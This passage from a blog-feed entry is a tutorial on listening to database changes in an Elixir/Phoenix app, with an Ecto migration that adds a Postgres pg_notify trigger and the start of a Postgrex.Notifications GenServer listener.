    <updated>2023-04-28T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back to another blog post :) Before we begin, one question:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Why do cows have hooves instead of feet?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;Because they lactose!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright, now let&apos;s dive into today&apos;s topic: &lt;strong&gt;How to listen to database changes using Postgres triggers and Elixir&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#why-listen-at-all&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;why-listen-at-all&quot;&gt;&lt;/a&gt;Why listen at all?&lt;/h2&gt;
&lt;p&gt;In almost all codebases, you have subsequent processes depending on previous processes. Imagine a sign-up flow for new users. After a user signs up, you might want to start sending marketing emails periodically. This is called a &lt;code&gt;downstream process&lt;/code&gt;. The sign-up to the marketing emails depends on the user&apos;s registration. When your software is still simple enough, you usually get away with calling these processes in sequence. Your code might look something like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;register_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;       &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;sign_up_for_marketing_emails&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this simple case, you only have one &lt;code&gt;downstream&lt;/code&gt; process: the sign-up for the marketing emails. But what if your software becomes more complex and you add more and more such downstream processes? Your &lt;code&gt;register_user/1&lt;/code&gt; function will grow and grow. Maybe your company grows as well and adds more dev teams. That&apos;s great, but now you have more teams adding their own downstream calls to &lt;code&gt;register_user/1&lt;/code&gt;, making them all dependent on each other.&lt;/p&gt;
&lt;p&gt;Imagine that one of the many calls fails. Usually, the entire user registration will roll back, undoing the changes in every team that placed their downstream call before the failed one. In the worst case, you might have an incomplete registration, where some calls succeed and others fail and you didn&apos;t roll back properly. Now, the teams with failed calls need to somehow fetch the missing user data and reconcile it with everything that might have happened after the registration. It&apos;s simply a mess.&lt;/p&gt;
&lt;p&gt;A frequent solution to untangle these dependencies is to implement an event system. &lt;a href=&quot;https://hexdocs.pm/phoenix_pubsub/Phoenix.PubSub.html&quot;&gt;Phoenix.PubSub&lt;/a&gt; is such a system for example. Event systems have many advantages (and disadvantages), but in this case, they help us to reverse the code dependency between upstream and downstream processes. Without an event system, &lt;code&gt;register_user/1&lt;/code&gt; has to call &lt;code&gt;sign_up_for_marketing_emails/1&lt;/code&gt; directly. &lt;code&gt;register_user/1&lt;/code&gt; is &lt;strong&gt;aware&lt;/strong&gt; of the downstream process and it needs to change if the downstream process changes, for example when we need to provide more info, like which marketing emails the user subscribed to and which ones they didn&apos;t. Our upstream code, &lt;code&gt;register_user/1&lt;/code&gt;, depends on the downstream process, &lt;code&gt;sign_up_for_marketing_emails/1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, with an event system, we can reverse that dependency. Our &lt;code&gt;register_user/1&lt;/code&gt; call could simply broadcast an event using &lt;code&gt;PubSub.broadcast/4&lt;/code&gt;. Our downstream process can then subscribe and react to the events. Now, our upstream code is unaware of the downstream process. It doesn&apos;t care whether it succeeds or fails or if it changes. Instead, the downstream code now depends on &lt;code&gt;register_user/1&lt;/code&gt; to publish the necessary data. That&apos;s it. If we want to change the marketing email sign-up, we simply handle the received data differently in &lt;code&gt;sign_up_for_marketing_emails/1&lt;/code&gt;. No need to change &lt;code&gt;register_user/1&lt;/code&gt;. Perfect!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#how-to-listen&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;how-to-listen&quot;&gt;&lt;/a&gt;How to listen?&lt;/h2&gt;
&lt;p&gt;I mentioned &lt;code&gt;Phoenix.PubSub&lt;/code&gt; before and if I&apos;m implementing an Elixir application, that would be my go-to event system if I need to send and react to basic notifications. If I need more advanced systems, &lt;code&gt;Kafka&lt;/code&gt;, &lt;code&gt;RabbitMQ&lt;/code&gt;, or &lt;code&gt;Amazon&apos;s SQS&lt;/code&gt; would come to &lt;a href=&quot;https://medium.com/systemdesign-us-blog/kafka-vs-rabbitmq-vs-sqs-70d1bfefa274&quot;&gt;mind&lt;/a&gt;. But there&apos;s another, low-effort solution that you probably already have in your tech stack: &lt;code&gt;Postgres&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Postgres&lt;/code&gt; offers quick and simple &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-notify.html&quot;&gt;Notifications&lt;/a&gt; that can help you react to changes in your database without much overhead. They are particularly interesting if you can&apos;t use Phoenix&apos;s &lt;code&gt;PubSub&lt;/code&gt;, for example, if another non-Elixir application also makes changes to your database.&lt;/p&gt;
&lt;p&gt;Let&apos;s see how you can set up Postgres notifications in your Phoenix app.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migration&quot;&gt;&lt;/a&gt;The Migration&lt;/h2&gt;
&lt;p&gt;The first step is to add the notifications using Postgres SQL. The migration below adds a trigger to a table called &lt;code&gt;appointments&lt;/code&gt; that sends a notification whenever an appointment is canceled or uncanceled. Let&apos;s have a look:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo.Migrations.AddAppointmentCanceledTrigger&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    CREATE OR REPLACE FUNCTION notify_canceled_changed()
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      RETURNS trigger AS $trigger$
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      DECLARE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;        payload TEXT;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      BEGIN
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        IF (TG_OP = &amp;#39;UPDATE&amp;#39;) AND (OLD.canceled != NEW.canceled) THEN
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;          payload := json_build_object(&amp;#39;id&amp;#39;,OLD.id,&amp;#39;old&amp;#39;,row_to_json(OLD),&amp;#39;new&amp;#39;,row_to_json(NEW));
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;          PERFORM pg_notify(&amp;#39;appointments_canceled_changed&amp;#39;, payload);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        END IF;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        RETURN NEW;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      END;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      $trigger$ LANGUAGE plpgsql;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    CREATE TRIGGER appointments_canceled_changed_trigger
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      AFTER UPDATE ON appointments FOR EACH ROW
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      WHEN ( OLD.canceled IS DISTINCT FROM NEW.canceled )
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      EXECUTE PROCEDURE notify_canceled_changed();
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;down&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    DROP TRIGGER appointments_canceled_changed_trigger ON appointments;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    DROP FUNCTION notify_canceled_changed();
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s a lot of SQL, but in short, the migration first adds a function called &lt;code&gt;notify_canceled_changed()&lt;/code&gt; which sends a notification to the channel &lt;code&gt;appoiments_canceled_changed&lt;/code&gt; with the &lt;code&gt;id&lt;/code&gt; of the appointment and the before and after state of the appointment encoded as JSON. We add the function as a trigger to the &lt;code&gt;appointments&lt;/code&gt; table using &lt;code&gt;CREATE TRIGGER ...&lt;/code&gt;. The function is only executed if the appointment is &lt;code&gt;updated&lt;/code&gt;, so not &lt;code&gt;inserted&lt;/code&gt; or &lt;code&gt;deleted&lt;/code&gt;, and only if the &lt;code&gt;appointment.canceled&lt;/code&gt; boolean field has changed.&lt;/p&gt;
&lt;p&gt;In our &lt;code&gt;notify_canceled_changed&lt;/code&gt; function, we double-check these validations as a precaution (i.e. the record is updated and &lt;code&gt;canceled&lt;/code&gt; has changed). We wouldn&apos;t need to though since Postgres will execute this function only if these requirements are met. But it never hurts to double-check!&lt;/p&gt;
&lt;p&gt;You might have noticed that we don&apos;t use an &lt;code&gt;EVENT TRIGGER&lt;/code&gt; here. The &lt;a href=&quot;https://stackoverflow.com/questions/36174459/what-s-the-difference-between-trigger-and-event-trigger-in-postgresql&quot;&gt;difference&lt;/a&gt; between a &lt;code&gt;TRIGGER&lt;/code&gt; and an &lt;code&gt;EVENT TRIGGER&lt;/code&gt; is that the latter handles database-wide events (e.g. &lt;code&gt;CREATE TABLE&lt;/code&gt;) whereas the former handles events specific to a given table (e.g. &lt;code&gt;INSERT|UPDATE|READ|DELETE| row&lt;/code&gt;). We are only interested in changes to the &lt;code&gt;appointments&lt;/code&gt; table which is why we use a simple &lt;code&gt;TRIGGER&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another detail you might have spotted is that we execute the trigger &lt;strong&gt;after&lt;/strong&gt; a row was updated with &lt;code&gt;AFTER UPDATE ON&lt;/code&gt;. For our use-case, the distinction between &lt;code&gt;BEFORE&lt;/code&gt; and &lt;code&gt;AFTER&lt;/code&gt; update doesn&apos;t matter, but if you wanted to change the new data before it is written to the row, you would need to use the &lt;code&gt;BEFORE UPDATE&lt;/code&gt; statement. Read &lt;a href=&quot;https://dba.stackexchange.com/questions/153525/what-is-the-difference-between-an-after-update-and-a-before-update-in-postgresql&quot;&gt;this&lt;/a&gt; for more details on the difference between the two.&lt;/p&gt;
&lt;p&gt;If you want more examples of triggers, &lt;a href=&quot;https://gist.github.com/carterbryden/e7b19d1ba1ea92e241fed259fea23491&quot;&gt;here&lt;/a&gt; &lt;a href=&quot;https://github.com/commanded/eventstore/blob/master/priv/event_store/migrations/v1.3.2.sql&quot;&gt;are&lt;/a&gt; &lt;a href=&quot;https://gist.github.com/goliatone/5fbeb1912e5937e8e3cf94618be9bebf&quot;&gt;some&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now with the migration in place, run &lt;code&gt;mix ecto.migrate&lt;/code&gt; to add the function and trigger to your database. However, if you run your application now and update an appointment, you won&apos;t see anything. That&apos;s because we&apos;re not yet listening to such events from our Elixir application. Let&apos;s change that.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-listener&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-listener&quot;&gt;&lt;/a&gt;The Listener&lt;/h2&gt;
&lt;p&gt;We will use the &lt;a href=&quot;https://hexdocs.pm/postgrex/Postgrex.Notifications.html&quot;&gt;Postgrex.Notifications&lt;/a&gt; module to listen to and handle messages from Postgres. Here&apos;s our listener:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DatabaseListener&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenServer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;channel &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;appointments_canceled_changed&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;init_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;GenServer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;init_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;repo_config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.Notifications&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo_config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Postgrex.Notifications&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;listen&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;channel&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:notification&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_pid&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_ref&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;channel&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Jason&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
